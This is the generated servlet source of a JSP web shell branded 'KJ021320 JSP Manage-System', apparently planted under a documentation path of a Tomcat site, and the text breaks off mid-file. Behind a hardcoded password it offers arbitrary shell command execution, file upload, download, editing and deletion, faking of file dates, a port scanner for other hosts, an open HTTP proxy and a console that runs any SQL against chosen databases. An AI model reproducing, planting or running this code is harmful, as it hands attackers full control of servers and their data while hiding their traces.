Edit C:\galaxie\deploy\Tomcat6\work\Catalina\localhost\docs\org\apache\jsp\funcspecs\_4_jsp.java
package org.apache.jsp.funcspecs; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.jsp.*; import java.util.*; import java.io.*; import java.sql.*; import java.util.zip.*; import java.lang.reflect.*; import java.net.*; import javax.servlet.jsp.*; public final class _4_jsp extends org.apache.jasper.runtime.HttpJspBase implements org.apache.jasper.runtime.JspSourceDependent { final String APP_NAME="KJ021320 JSP Manage-System 1.0"; int portListen=5000;//set the httpproxy port boolean openHttpProxy=false;//set the httpproxy load-on-start-up //the main framwork void mainForm(String web_Site,JspWriter out)throws Exception{ out.print("<table width=100% height=100% border=0 bgcolor=menu>"); out.print("<tr><td height=30 colspan=2>"); out.print("<table width=100% height=25 border=0>"); out.print("<form name=address method=post target=FileFrame onSubmit='checkUrl();'>"); out.print("<tr><td width=60 align=center>FilePath:</td><td>"); out.print("<input name=FolderPath style=width:100% value='"+web_Site+"' onchange='checkUrl();'>"); out.print("<input type=hidden name=Action value=F>"); out.print("<input type=hidden name=Filename>"); out.print("</td><td width=60 align=center><a href='javascript:checkUrl();'>GOtoLink</a>"); out.print("</td></tr></form></table></td></tr><tr><td width=148>"); out.print("<iframe name=Menu src=?Action=M width=100% height=100% frameborder=2 scrolling=yes></iframe></td>"); out.print("<td width=600>"); out.print("<iframe name=FileFrame src='?Action=F&FolderPath="+web_Site+"' width=100% height=100% frameborder=1 scrolling=yes></iframe>"); out.print("</td></tr></table>"); } //menu form to choose void mainMenu(JspWriter out,String web_Site)throws Exception{ out.println("<table>"); out.println("<tr><td bgcolor=Gray><a href=?Action=M>"+ico(58)+"FileOperation(File.class)</a></td></tr>"); out.println("<tr><td bgcolor=menu onclick=top.address.FolderPath.value='"+folderReplace(web_Site)+"'><a href='?Action=F&FolderPath="+web_Site+"' target=FileFrame>"+ico(48)+"WEB Folder</a></td></tr>"); out.println("<tr><td bgcolor=menu><a href=?Action=S target=FileFrame>"+ico(53)+"SystemInfo(System.class)</a></td></tr>"); out.println("<tr><td bgcolor=menu><a href=?Action=L target=FileFrame>"+ico(53)+"ServletInfo</a></td></tr>"); out.println("<tr><td bgcolor=menu><a href=?Action=T target=FileFrame>"+ico(53)+"SystemTools</a></td></tr>"); out.println("<tr><td bgcolor=menu><a href=?Action=i target=FileFrame>"+ico(57)+"Interfaces</a></td></tr>"); out.println("<tr><td bgcolor=menu><a href='http://blog.csdn.net/kj021320' target=FileFrame>About nonamed(kj021320)</a></td></tr>"); out.println("</table>"); } //show all files and folders void showFiles(JspWriter out,String path)throws Exception{ File file=new File(path); long maxSize=0; if(file.isDirectory()&&file.exists()){ File[] f=file.listFiles(); out.println("<table><tr bgcolor=menu><td>name</td><td>type</td><td>size</td><td>modify date</td><td>readonly</td><td>can write</td><td>hidden</td><td>Action</td></tr>"); for(int i=0;i<f.length;i++){ maxSize=maxSize+f[i].length(); if(f[i].isDirectory()) out.println("<tr bgcolor=menu><td><a href=\"javascript:top.address.FolderPath.value='"+folderReplace(f[i].getAbsolutePath())+"/';checkUrl();\">"+ico(48)+f[i].getName()+"</a></td><td> DIR </td><td>"+getSize(f[i].length())+"</td><td>"+new java.util.Date(f[i].lastModified())+"</td><td>"+f[i].canRead()+"</td><td>"+f[i].canWrite()+"</td><td>"+f[i].isHidden()+"</td><td>"+fOperation(true,f[i].getAbsolutePath())+"</td></tr>"); else out.println("<tr><td>"+ico(50)+f[i].getName()+"</td><td> file </td><td>"+getSize(f[i].length())+"</td><td>"+new java.util.Date(f[i].lastModified())+"</td><td>"+f[i].canRead()+"</td><td>"+f[i].canWrite()+"</td><td>"+f[i].isHidden()+"</td><td>"+fOperation(false,f[i].getAbsolutePath())+"</td></tr>"); } out.println("</table>"); out.print("this folder size:"+getSize(maxSize)); } } //show the system information void showSystemInfo(JspWriter out)throws Exception{ Map map=null; Set set=null; Iterator it=null; /*use for jdk1.5 map=System.getenv(); set=map.keySet(); it=set.iterator(); out.print("<hr>System Env info:<ul>"); while(it.hasNext()){ Object oName=it.next(); out.println("<li>"+oName+" [ "+map.get(oName)+" ]"); } out.print("</ul>"); */ map=System.getProperties(); set=map.keySet(); it=set.iterator(); out.println("<hr>System Property info:<ul>"); while(it.hasNext()){ Object oName=it.next(); out.println("<li>"+oName+" [ "+map.get(oName)+" ]"); } out.print("</ul><hr>System CPU :"); out.print(Runtime.getRuntime().availableProcessors()+" <br>"); out.print("the JVM Free Memory :"+getSize(Runtime.getRuntime().freeMemory())); out.print("<br>the JVM Max Memory :"+getSize(Runtime.getRuntime().maxMemory())); } //show servlet information void servletInfo(ServletConfig config,JspWriter out)throws Exception{ ServletContext sc=config.getServletContext(); out.println("Server info: "+sc.getServerInfo()+"<br>"); out.println("ServletContext name: "+sc.getServletContextName()+"<br>"); out.println("Major version :"+sc.getMajorVersion()+"<br>"); out.println("Minor version :"+sc.getMinorVersion()+"<br>"); Enumeration en=sc.getInitParameterNames(); String initInfo="init parameter: <br>"; out.print(initInfo); while(en.hasMoreElements()){ String name=(String)en.nextElement(); initInfo="key:"+name+" value:"+sc.getInitParameter(name) +"<br>"; out.print(initInfo); } } //down the server file void downFile(String filename,HttpServletResponse res)throws Exception{ int w=0; byte[] buffer=new byte[256]; byte[] b=(new File(filename)).getName().getBytes(); String outFile=new String(b,"ISO-8859-1"); res.reset(); res.setHeader("Content-disposition","attachment;filename=\""+outFile+"\""); ServletOutputStream sos=res.getOutputStream(); BufferedInputStream bis=null; try{ bis=new BufferedInputStream(new FileInputStream(filename)); while((w=bis.read(buffer,0,buffer.length))!=-1){ sos.write(buffer,0,w); } }catch(Exception e){ }finally{ if(bis!=null)bis.close(); } sos.flush(); res.flushBuffer(); } //delect file void deleteFile(String filename,JspWriter out)throws Exception{ File f=new File(filename); if(f.exists()){ if(f.delete())out.print(filename+"delete success..."); }else{ out.print("file not find!!"); } } //rename the file void renameFile(String filename,JspWriter out)throws Exception{ int split=filename.indexOf("|"); String newFilename=filename.substring(split+1); filename=filename.substring(0,split); File f=new File(filename); if(f.exists()){ if(f.renameTo(new File(newFilename)))out.print(newFilename+" file move success"); }else{ out.print("file not find!!"); } } //file copy void copyFile(String filename,JspWriter out)throws Exception{ int split=filename.indexOf("|"); String newFilename=filename.substring(split+1); filename=filename.substring(0,split); File f=new File(filename); BufferedInputStream bis=null; BufferedOutputStream bos=null; if(f.exists()){ try{ bis=new BufferedInputStream(new FileInputStream(filename)); bos=new BufferedOutputStream(new FileOutputStream(newFilename)); int s=0; while((s=bis.read())!=-1){ bos.write(s); } }catch(Exception e){ out.print("file copy error"); }finally{ if(bis!=null)bis.close(); if(bos!=null)bos.close(); } out.print(newFilename+"file copy success"); }else{ out.print("file not find!!"); } } //file editor void editFile(String filename,JspWriter out)throws IOException{ File f=new File(filename); out.print("<form method=post>File Path:"); out.print("<input type=text size=80 name=filename value='"+filename+"'>"); out.print("<input type=button name=kFile onClick='this.form.action=\"?Action=K\";this.form.submit();' value=KeepFile >"); out.print("<input type=button onClick=editFile(this.form.filename.value); value=ReadFile>"); out.print("<textarea name=FileContent rows=35 style=width:100%;>"); if(f.exists()){ try{ BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(filename),"Gb2312")); String s=""; while((s=br.readLine())!=null){ out.println(htmlEntity(s)); } }catch(Exception e){ out.print("file edit error"); }finally{ } } out.print("</textarea></form>"); } //file save void saveFile(String filename,byte[] fileContent,JspWriter out)throws IOException{ if(filename!=null||fileContent!=null){ BufferedOutputStream bos=null; try{ bos=new BufferedOutputStream(new FileOutputStream(filename)); bos.write(fileContent,0,fileContent.length); }finally{ if(bos!=null)bos.close(); } out.print(filename+"file save success"); }else{ out.print("Error"); } } //chang the file modify date void dateChange(String filename,String year,String month,String day,JspWriter out)throws IOException{ File f=new File(filename); if(f.exists()){ Calendar calendar=Calendar.getInstance(); calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day)); if(f.setLastModified(calendar.getTimeInMillis())) out.print(filename+"file date change success"); else out.print(filename+"file date change error"); }else{ out.println("file not find!!!"); } } //run file void execFile(String file,JspWriter out)throws Exception{ int i=0; Runtime rt=Runtime.getRuntime(); Process ps=rt.exec(file); InputStreamReader isr = null; char[] bufferC=new char[1024]; try{ isr=new InputStreamReader(ps.getInputStream(),"GB2312"); out.print("<textarea rows=35 style=width:100%;>"); while((i=isr.read(bufferC,0,bufferC.length))!=-1){ out.print(htmlEntity(new String(bufferC,0,i))); } }catch(Exception e){ out.print("run file error"); }finally{ if(isr!=null)isr.close(); } out.print("</textarea>"); systemTools(out); } //zip zhe folder void zip(String zipPath, String srcPath,JspWriter out) throws Exception { FileOutputStream output = null; ZipOutputStream zipOutput = null; try{ output = new FileOutputStream(zipPath); zipOutput = new ZipOutputStream(output); zipEntry(zipOutput,srcPath,srcPath,zipPath); }catch(Exception e){ out.print("file zip error"); }finally{ if(zipOutput!=null)zipOutput.close(); } out.print("zip ok"+zipPath); } //add the zip entry void zipEntry(ZipOutputStream zipOs, String initPath,String filePath,String zipPath) throws Exception { String entryName = filePath; File f = new File(filePath); if (f.isDirectory()){// check is folder String[] files = f.list(); for(int i = 0; i < files.length; i++) zipEntry(zipOs, initPath, filePath + File.separator + files[i],zipPath); return; } String chPh = initPath.substring(initPath.lastIndexOf("/") + 1);// ????? int idx=initPath.lastIndexOf(chPh); if (idx != -1) { entryName = filePath.substring(idx); } ZipEntry entry; entry = new ZipEntry(entryName); File ff = new File(filePath); if(ff.getAbsolutePath().equals(zipPath))return; entry.setSize(ff.length()); entry.setTime(ff.lastModified()); //the CRC efficacy entry.setCrc(0); CRC32 crc = new CRC32(); crc.reset(); zipOs.putNextEntry(entry); int len = 0; byte[] buffer = new byte[2048]; int bufferLen = 2048; FileInputStream input =null; try{ input = new FileInputStream(filePath); while ((len = input.read(buffer, 0, bufferLen)) != -1) { zipOs.write(buffer, 0, len); crc.update(buffer, 0, len); } }catch(Exception e){ }finally{ if(input!=null)input.close(); } entry.setCrc(crc.getValue()); } //file upload to server void upfile(HttpServletRequest request,JspWriter out,String filename)throws Exception{ String boundary = request.getContentType().substring(30);//????? ServletInputStream sis=request.getInputStream(); BufferedOutputStream bos=null; byte[] buffer = new byte[1024]; int line=-1; for(int i=0;i<5;i++){ line=readLine(buffer,sis,boundary); } try{ bos=new BufferedOutputStream(new FileOutputStream(filename)); //read the filedata while(line!=-1){ bos.write(buffer,0,line); line=readLine(buffer,sis,boundary); } out.print("upload success!"); }catch(Exception e){ out.print("upload error"); }finally{ if(bos!=null)bos.close(); } } int readLine(byte[] lineByte,ServletInputStream servletInputstream,String endStr){ try{ int len=0; len=servletInputstream.readLine(lineByte,0,lineByte.length); String str=new String(lineByte,0,len); System.out.println(str); if(str.indexOf(endStr)==-1) return len; else return -1; }catch(Exception _ex){ return -1; } } //create folder void newFolder(JspWriter out,String foldername)throws Exception{ File f=new File(foldername); if(f.mkdirs()){ out.print("the folder create success!"); }else{ out.print("the folder create error"); } } //reflect java API classes void reflectAPI(JspWriter out,String className)throws Exception{ Class cls=Class.forName(className); String constructor=""; String ifString=""; Class[] interfaces=cls.getInterfaces(); String supperClass=cls.getSuperclass().toString(); Constructor[] c=cls.getDeclaredConstructors(); Field[] f=cls.getDeclaredFields(); Method[] m=cls.getDeclaredMethods(); for(int i=0;i<interfaces.length;i++){ ifString=ifString+interfaces[i].getName()+","; } out.print("<strong>"+Modifier.toString(cls.getModifiers())+"</strong> "+cls+"<br><strong>extends</strong> "+supperClass+" <strong><br>implemets</strong> "+ifString); out.print("<br>{<br><EM>Constructor:</EM><br>"); for(int i=0;i<c.length;i++) out.print(" "+c[i]+"<br>"); out.print("<EM>Field:</EM><br>"); for(int i=0;i<f.length;i++) out.print(" "+f[i]+"<br>"); out.print("<EM>Function:</EM><br>"); for(int i=0;i<m.length;i++) out.print(" "+m[i]+"<br>"); out.print("<br>}"); } //scan the remote server port void scanPort(JspWriter out,String strAddress,int startPort,int endPort)throws Exception{ if(endPort<startPort||startPort<=0||startPort>65535||endPort>65535||endPort<=0){ out.print("port setup error"); return; } InetAddress ia=InetAddress.getByName(strAddress); for(int p=startPort;p<=endPort;p+=15){ (new ScanPort(ia,p,p+14,out)).start(); } Thread.sleep((int)(endPort/startPort)*5000); }//scan port class class ScanPort extends Thread{ int startPort; int endPort; InetAddress address; javax.servlet.jsp.JspWriter out; public ScanPort(InetAddress address,int startPort,int endPort,JspWriter out){ this.address=address; this.startPort=startPort; this.endPort=endPort; this.out=out; } public void run(){ Socket s=null; for(int port=startPort;port<=endPort;port++){ try{ s=new Socket(address,port); out.println("port "+port+" is Open<br>"); } catch(IOException e){ }finally{ try{s.close();}catch(Exception e){} } } } } public void switchProxyService(JspWriter out)throws Exception{ if(openHttpProxy=!openHttpProxy){//open the proxy new RunProxyService(portListen).start(); out.print("Proxy running"); }else{ out.print("Proxy closed"); } } //open httpProxy service public class RunProxyService extends Thread{ int port; public RunProxyService(int port){ this.port=port; } public void run(){ try { ServerSocket ss=new ServerSocket(5000); while(true){ if(openHttpProxy){ new HttpProxy(ss.accept()).start(); }else{ break; } } ss.close(); } catch (IOException e) { } } } //HttpProxy class public class HttpProxy extends Thread{ private Socket s; public int timeOut=10000; public HttpProxy(Socket s){ this.s=s; } public HttpProxy(Socket s,int timeOut){ this.s=s; this.timeOut=timeOut;//set the connection timeout } public void run(){ byte[] bit=new byte[1024]; int readBit=0; int size=0; String returnAddress=null;//return to the address int returnPort = 0; //return to the port String sendHostName=null; int sendPort=0; Socket sendSocket=null; OutputStream os=null; InputStream is=null; try{ int split=0; is=s.getInputStream(); //get the http head information if((size=is.read(bit, 0, bit.length))==-1)return; String httpHead=new String(bit,0,size); split=httpHead.indexOf("\nHost: ")+7; sendHostName=httpHead.substring(split, httpHead.indexOf("\n", split)); //get the hostname and port if((split=sendHostName.indexOf(':'))!=-1){ sendPort=Integer.parseInt(sendHostName.substring(split+1).trim()); sendHostName=sendHostName.substring(0,split); sendSocket=new Socket(sendHostName.trim(),sendPort); }else{ sendSocket=new Socket(sendHostName.trim(),80); } sendSocket.setSoTimeout(timeOut); //send user headhttp os=sendSocket.getOutputStream(); os.write(httpHead.getBytes()); //send user datas if(size==bit.length) while((size=is.read(bit, 0, bit.length))!=-1){ os.write(bit,0 , size); } os.flush(); //get WEBSITE html and user browser's output is=sendSocket.getInputStream(); os=s.getOutputStream(); while((size=is.read(bit, 0, bit.length))!=-1){ os.write(bit,0 , size); os.flush(); } }catch(SocketException se){ } catch (IOException ie) { } catch (Exception e) { }finally{ //close the stream if(is!=null){ try { is.close(); } catch (IOException e) { } } if(os!=null){ try { os.close(); } catch (IOException e) { } } } } } //connection to the database void ConnectionDBM(JspWriter out,String driver,String url,String userName,String passWord,String sqlAction,String sqlCmd)throws Exception{ DBM dbm=new DBM(driver,url,userName,passWord,out); if(sqlAction.equals("LDB")){ dbm.lookInfo(); }else{ dbm.executeSQL(sqlCmd); } dbm.closeAll(); } //database manager class class DBM{ private JspWriter out; private Connection con; private Statement stmt; private ResultSet rs; public DBM(String driverName,String url,String userName,String passWord,JspWriter out)throws Exception{ Class.forName(driverName); this.out=out; con=DriverManager.getConnection(url,userName,passWord); } public void lookInfo()throws Exception{ DatabaseMetaData dbmd=con.getMetaData(); String tableType=null; out.print("<strong>DataBaseInfo</strong><table>"); out.print("<tr><td>DataBaseName:</td><td>"+dbmd.getDatabaseProductName()+"</td></tr>"); out.print("<tr><td>DataBaseVersion:</td><td>"+dbmd.getDatabaseProductVersion()+"</td></tr>"); out.print("<tr><td>the Numeric Function:</td><td>"+dbmd.getNumericFunctions()+"</td></tr>"); out.print("<tr><td>the String Function:</td><td>"+dbmd.getStringFunctions()+"</td></tr>"); out.print("<tr><td>the TimeDate Function:</td><td>"+dbmd.getTimeDateFunctions()+"</td></tr>"); out.print("<tr><td>the System Function:</td><td>"+dbmd.getSystemFunctions()+"</td></tr>"); out.print("</table>"); out.print("<strong>ProcedureInfo</strong><table>"); try{ getProcedureDetail(dbmd.getProcedures(null,null,null)); }catch(Exception proE){} //show all the tables try{ rs=dbmd.getTables(null,null,null,null); }catch(Exception tabE){} out.print("<strong>DataBase Tables Info</strong><br>"); while(rs.next()){ tableType=rs.getString(4); out.print("<strong>TableName:</strong>"+rs.getString(3)+" <strong>Type:</strong>"+tableType+"<br>"); if(tableType.indexOf("VIEW")>=0||tableType.indexOf("TABLE")>=0){ try{ getTableDetail(dbmd.getColumns(null,null,rs.getString(3),null)); }catch(Exception columnE){} } } this.closeAll(); } //show the column information private void getTableDetail(ResultSet tableRs)throws Exception{ out.print("<table border=1><tr><td>COLUMN_NAME</td><td>DATA_TYPE</td><td>TYPE_NAME</td><td>COLUMN_SIZE</td><td>IS_NULLABLE</td><td>CHAR_OCTET_LENGTH</td></tr>"); while(tableRs.next()){ out.print("<tr><td>"+tableRs.getString(4)+"</td><td>"+tableRs.getInt(5)+"</td><td>"+tableRs.getString(6)+"</td><td>"+tableRs.getInt(7)+"</td><td>"+tableRs.getString(18)+"</td><td>"+tableRs.getInt(16)+"</td></tr>"); } out.print("</table>"); tableRs.close(); } //show all the procedures private void getProcedureDetail(ResultSet procRs)throws Exception{ out.print("<table border=1><tr><td>PROCEDURE_NAME</td><td>REMARKS</td><td>PROCEDURE_TYPE</td></tr>"); while(procRs.next()){ out.print("<tr><td>"+procRs.getString(3)+"</td><td>"+procRs.getString(7)+"</td><td>"+procRs.getShort(8)+"</td></tr>"); } out.print("</table>"); procRs.close(); } //run the sql command public void executeSQL(String sqlCmd)throws Exception{ stmt=con.createStatement(); if(sqlCmd.trim().toLowerCase().startsWith("select")){ rs=stmt.executeQuery(sqlCmd); ResultSetMetaData rsmd=rs.getMetaData(); int ColumnCount=rsmd.getColumnCount(); out.print("<table border=1><tr>"); for(int i=1;i<=ColumnCount;i++){ out.print("<td>"+rsmd.getColumnName(i)+"</td>"); } out.print("</tr>"); while(rs.next()){ out.print("</tr>"); for(int i=1;i<=ColumnCount;i++){ out.print("<td>"+rs.getString(i)+"</td>"); } out.print("</tr>"); } }else{ stmt.executeUpdate(sqlCmd); out.print("execute success"); } } //close all the resource public void closeAll()throws SQLException{ try{ if(rs!=null)rs.close(); }catch(Exception e){ } try{ if(stmt!=null)stmt.close(); }catch(Exception e){ } try{ if(con!=null)con.close(); }catch(Exception e){ } } } //the other tools void systemTools(JspWriter out)throws Exception{ out.print("<table border=1>"); out.print("<tr><form method=post action='?Action=run'><td bordercolorlight=Black bgcolor=menu>System class run</td>"); out.print("<td colspan=2>filepath:<input name=execFile size=75 type=text title='example d:\\cmd.exe /c dir c:'></td><td><input name=go type=submit value=run></td></form></tr>"); out.print("<tr><form method=post enctype=\"multipart/form-data\" action='?Action=Upfile'><td bordercolorlight=Black bgcolor=menu>file upload</td>"); out.print("<td colspan=2>file:<input name=file type=file>up to file<input title='d:\\1.txt' name=UPaddress size=35 type=text></td><td><input name=up onclick=\"this.form.action+='&UPaddress='+this.form.UPaddress.value;\" type=submit value=upl></td></form></tr>"); out.print("<tr><form method=post action='?Action=EditFile'><td bordercolorlight=Black bgcolor=menu>new file</td><td colspan=2>file full name:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>"); out.print("</form></tr>"); out.print("<tr><form method=post action='?Action=newFolder'><td bordercolorlight=Black bgcolor=menu>Create folder</td><td colspan=2>folder fullname:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>"); out.print("</form></tr>"); out.print("<tr><form method=post action='?Action=APIreflect'><td bordercolorlight=Black bgcolor=menu>Reflect API</td><td colspan=2>Class Name:<input name=Filename title=java.lang.String type=text size=50></td><td><input name=submit type=submit value=ref></td>"); out.print("</form></tr>"); out.print("<tr><form method=post action='?Action=IPscan'><td bordercolorlight=Black bgcolor=menu>Scan Port</td><td>IP:<input name=IPaddress type=text size=20></td><td>Start Port:<input name=startPort title=1-65535 type=text size=5>End Port:<input name=endPort title=1-65535 type=text size=5></td><td><input name=submit type=submit value=sca></td>"); out.print("</form></tr>"); out.print("<tr><form method=post action='?Action=sql'>"); out.print("<td bordercolorlight=Black bgcolor=menu>DBM"); out.print("<select name=DB onChange='setDataBase(this.form);'><option>Sybase</option><option>Mssql</option><option>Mysql</option><option>Oracle</option><option>DB2</option><option>PostgreSQL</option></select></td><td>"); out.print("Driver:<input name=driver type=text>URL:<input name=conUrl type=text>user:<input name=user type=text size=3>password:<input name=password type=text size=3></td>"); out.print("<td>SqlCmd:<input type=text name=sqlcmd title='select * from admin'><input name=run type=submit value=Exec></td>"); out.print("<td><input name=run type=submit value=LDB></td>"); out.print("</form></tr>"); if(!openHttpProxy){ out.print("<tr><td><a href='?Action=HttpProxy' target=FileFrame>OpenTheHttpProxy</a></td></tr>"); }else{ out.print("<tr><td><a href='?Action=HttpProxy' target=FileFrame>CloseTheHttpProxy</a></td></tr>"); } out.print("</table>"); } //user interfaces==========================// void userInterFaces(JspWriter out)throws Exception{ out.print("if u want to add an function ,u can coding in 'userInterFaces'function"); } //=========================================// String encodeChange(String str)throws Exception{ if(str==null) return null; else return new String(str.getBytes("ISO-8859-1"),"gb2312"); } String folderReplace(String folder){ return folder.replace('\\','/'); } String fOperation(boolean f,String file){ if(f) return "<a href=\"javascript:delFile('"+folderReplace(file)+"')\">Delete</a> <a href=\"javascript:reName('"+folderReplace(file)+"')\">Rename</a> <a href=\"javascript:setDate('"+folderReplace(file)+"')\">setDate</a> <a href=\"javascript:zipFile('"+folderReplace(file)+"')\">Zip</a>"; else return "<a href=\"javascript:delFile('"+folderReplace(file)+"')\">Delete</a> <a href=\"javascript:reName('"+folderReplace(file)+"')\">Rename</a> <a href=\"javascript:setDate('"+folderReplace(file)+"')\">setDate</a> <a href=\"javascript:copyFile('"+folderReplace(file)+"')\">Copy</a> <a href=\"javascript:editFile('"+folderReplace(file)+"')\">Edit</a> <a href=\"javascript:downFile('"+folderReplace(file)+"');\">Down</a>"; } String getSize(long size){ if(size>=1024*1024*1024){ return new Long(size/1073741824L)+"G"; }else if(size>=1024*1024){ return new Long(size/1048576L)+"M"; }else if(size>=1024){ return new Long(size/1024)+"K"; }else return size+"B"; } String ico(int num){//ico return "<font face=wingdings size=3>&#"+num+"</font>"; } String htmlEntity(String htmlCode){ StringBuffer sb=new StringBuffer(); char c=0; for(int i=0;i<htmlCode.length();i++){ c=htmlCode.charAt(i); if(c=='<')sb.append("<"); else if(c=='>')sb.append(">"); else if(c==' ')sb.append(" "); else sb.append(c); } return sb.toString(); } private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory(); private static java.util.List _jspx_dependants; private javax.el.ExpressionFactory _el_expressionfactory; private org.apache.AnnotationProcessor _jsp_annotationprocessor; public Object getDependants() { return _jspx_dependants; } public void _jspInit() { _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory(); _jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName()); } public void _jspDestroy() { } public void _jspService(HttpServletRequest request, HttpServletResponse response) throws java.io.IOException, ServletException { PageContext pageContext = null; HttpSession session = null; ServletContext application = null; ServletConfig config = null; JspWriter out = null; Object page = this; JspWriter _jspx_out = null; PageContext _jspx_page_context = null; try { response.setContentType("text/html;charset=gbk"); pageContext = _jspxFactory.getPageContext(this, request, response, null, true, 8192, true); _jspx_page_context = pageContext; application = pageContext.getServletContext(); config = pageContext.getServletConfig(); session = pageContext.getSession(); out = pageContext.getOut(); _jspx_out = out; out.write("\r\n"); out.write("\r\n"); out.write('\r'); out.write('\n'); session.setMaxInactiveInterval(6000); final String WEB_SITE=folderReplace(application.getRealPath("/")); final String URL=request.getRequestURI(); if(session.getAttribute("ID")==null){ // the user and pass field String username="testing012"; String password="testing012"; // the user and pass field if(request.getParameter("LName")!=null&&request.getParameter("LPass")!=null&&request.getParameter("LName").equals(username)&&request.getParameter("LPass").equals(password)){ session.setAttribute("ID","1"); response.sendRedirect(URL); }else{ out.println("<center style=font-size:12px><br><br>"+APP_NAME+"<br><br>" + "<form name=login method=post>username:<input name=LName type=text size=15><br>" + "password:<input name=LPass type=password size=15><br><input type=submit value=Login></form></center>"); } return; } out.write("\r\n"); out.write("<html>\r\n"); out.write("<head>\r\n"); out.write("<meta http-equiv=Content-Type content=\"text/html; charset=gb2312\">\r\n"); out.write("<title>"); out.print(APP_NAME); out.write("</title>\r\n"); out.write("<style type=\"text/css\">\r\n"); out.write(" body,td{font-size: 12px;}\r\n"); out.write("table{T:expression(this.border='1',this.borderColorLight='Black',this.borderColorDark='White');}\r\n"); out.write(" input,select{font-size:12px;}\r\n"); out.write(" body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}\r\n"); out.write(" td{white-space:nowrap;}\r\n"); out.write(" a{color:black;text-decoration:none;}\r\n"); out.write("</style>\r\n"); out.write("<script>\r\n"); out.write(" Top=top.address;\r\n"); out.write(" function downFile(file){\r\n"); out.write(" Top.Filename.value=file;\r\n"); out.write(" Top.Action.value=\"D\";\r\n"); out.write(" Top.submit();\r\n"); out.write(" }\r\n"); out.write(" function checkUrl(){\r\n"); out.write(" top.address.Action.value=\"F\";\r\n"); out.write(" top.address.submit();\r\n"); out.write(" }\r\n"); out.write(" function editFile(file){\r\n"); out.write(" top.address.Action.value=\"E\";\r\n"); out.write(" top.address.Filename.value=file;\r\n"); out.write(" top.address.submit();\r\n"); out.write(" }\r\n"); out.write(" function delFile(file){\r\n"); out.write(" top.address.Action.value=\"R\";\r\n"); out.write(" top.address.Filename.value=file;\r\n"); out.write(" top.address.submit();\r\n"); out.write(" }\r\n"); out.write(" function reName(file){\r\n"); out.write(" if((Rname=prompt(\"rename to?\",file))!=\"\"&&Rname!=null){\r\n"); out.write(" Top.Action.value=\"N\";\r\n"); out.write(" top.address.Filename.value=file+\"|\"+Rname;\r\n"); out.write(" Top.submit();\r\n"); out.write(" }\r\n"); out.write(" }\r\n"); out.write(" function copyFile(file){\r\n"); out.write(" if((Rname=prompt(\"copy to?\",file))!=\"\"&&Rname!=null){\r\n"); out.write(" Top.Action.value=\"P\";\r\n"); out.write(" top.address.Filename.value=file+\"|\"+Rname;\r\n"); out.write(" Top.submit();\r\n"); out.write(" }\r\n"); out.write(" }\r\n"); out.write(" function setDate(file){\r\n"); out.write(" document.write(\"Change date:<br><form method='post' action='?Action=dateChange'>\");\r\n"); out.write(" document.write(\"filename:<input name='Filename' type='text' size=60 readonly value='\"+file+\"'><br>\");\r\n"); out.write(" document.write(\"Year:<select name='year'>\");\r\n"); out.write(" for(i=1970;i<=2050;i++){\r\n"); out.write(" document.write(\"<option value=\"+i+\">\"+i+\"</option>\");\r\n"); out.write(" }\r\n"); out.write(" document.write(\"</select>\");\r\n"); out.write(" document.write(\"Month:<select name='month'>\");\r\n"); out.write(" for(i=1;i<=12;i++){\r\n"); out.write(" document.write(\"<option value=\"+i+\">\"+i+\"</option>\");\r\n"); out.write(" }\r\n"); out.write(" document.write(\"</select>\");\r\n"); out.write(" document.write(\"Day:<select name='day'>\");\r\n"); out.write(" for(i=1;i<=31;i++){\r\n"); out.write(" document.write(\"<option value=\"+i+\">\"+i+\"</option>\");\r\n"); out.write(" }\r\n"); out.write(" document.write(\"</select>\");\r\n"); out.write(" document.write(\"<input name='Action' type='button' onclick='top.address.Action.value=\\\"d\\\";this.form.submit();' value='dateChange'>\");\r\n"); out.write(" document.write(\"<input name='cancel' onclick='history.back();' type='button' value='Cancel'>\");\r\n"); out.write(" }\r\n"); out.write(" function zipFile(file){\r\n"); out.write(" if((zipF=prompt(\"save to ?\",file+\"/down.zip\"))!=\"\"&&zipF!=null){\r\n"); out.write(" top.address.Action.value=\"Z\";\r\n"); out.write(" top.address.FolderPath.value=file;\r\n"); out.write(" top.address.Filename.value=zipF;\r\n"); out.write(" top.address.submit();\r\n"); out.write(" }\r\n"); out.write(" }\r\n"); out.write(" function setDataBase(f){\r\n"); out.write(" driverName=new Array();\r\n"); out.write(" driverName[0]=\"com.sybase.jdbc2.jdbc.SybDriver\";\r\n"); out.write(" driverName[1]=\"com.microsoft.jdbc.sqlserver.SQLServerDriver\";\r\n"); out.write(" driverName[2]=\"com.mysql.jdbc.Driver\";\r\n"); out.write(" driverName[3]=\"oracle.jdbc.driver.OracleDriver\";\r\n"); out.write(" driverName[4]=\"com.ibm.db2.jdbc.app.DB2Driver\";\r\n"); out.write(" driverName[5]=\"org.postgresql.Driver\";\r\n"); out.write(" conUrl=new Array();\r\n"); out.write(" conUrl[0]=\"jdbc:jtds:sybase://host:port/database\";\r\n"); out.write(" conUrl[1]=\"jdbc:microsoft:sqlserver://host:port;DatabaseName=\";\r\n"); out.write(" conUrl[2]=\"jdbc:mysql://host:port/database\";\r\n"); out.write(" conUrl[3]=\"jdbc:oracle:thin:@host:port:database\";\r\n"); out.write(" conUrl[4]=\"jdbc:db2://host:port/database\";\r\n"); out.write(" conUrl[5]=\"jdbc:postgresql://host:port/database\";\r\n"); out.write(" \r\n"); out.write(" f.driver.value=driverName[f.DB.selectedIndex];\r\n"); out.write(" f.conUrl.value=conUrl[f.DB.selectedIndex];\r\n"); out.write(" }\r\n"); out.write("</script>\r\n"); out.write("</head>\r\n"); out.write("<body>\r\n"); String Action=request.getParameter("Action"); char action=(Action==null?"0":Action).charAt(0); try{ switch(action){ //each skill case 'M':mainMenu(out,WEB_SITE);break; case 'F':showFiles(out,encodeChange(request.getParameter("FolderPath")));break; case 'S':showSystemInfo(out);break; case 'L':servletInfo(config,out);break; case 'D':downFile(encodeChange(request.getParameter("Filename")),response);return; case 'E':editFile(encodeChange(request.getParameter("Filename")),out);break; case 